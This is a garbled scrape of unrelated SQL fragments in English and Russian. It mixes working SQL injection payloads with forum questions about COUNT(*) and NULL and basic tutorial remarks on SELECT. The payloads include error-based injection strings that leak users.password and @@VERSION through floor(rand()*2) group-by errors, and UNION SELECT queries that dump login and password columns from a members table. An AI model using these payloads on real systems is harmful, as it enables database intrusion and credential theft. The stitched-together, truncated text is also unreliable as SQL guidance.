1)>(select count(*),concat( (select users.password) ,0x3a,floor(rand()*2)) x from (select 1 union select 2 union select 3)a group by x
from+information_schema.tables+limit+0,1),floor(rand(0)*2)
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1)) '+(select 1
Пример: SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members Это позволит объединить результаты из таблиц
COUNT(*) returns the number of items in a group. This includes NULL values and duplicates. How can you have a null value in a group? Can anyone explain the point they're trying to make?
Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables. this instruction is used in sql injection I tried it and it worked but I didn't really know how it works can somebody help me...
select count(distinct col1) + count(distinct case when col1 is null then 1 end) from YourTable.
#SQL Server SELECT login + '-' + password FROM members #MySQL SELECT CONCAT(login, password) FROM
Обратите внимание, что содержимое некоторых полей UNION SELECT 2,3,4,5 выводится на экран. Вместо цифр можно задать функции.
SELECT, FROM — обязательные элементы запроса, которые определяют выбранные столбцы, их порядок и источник данных.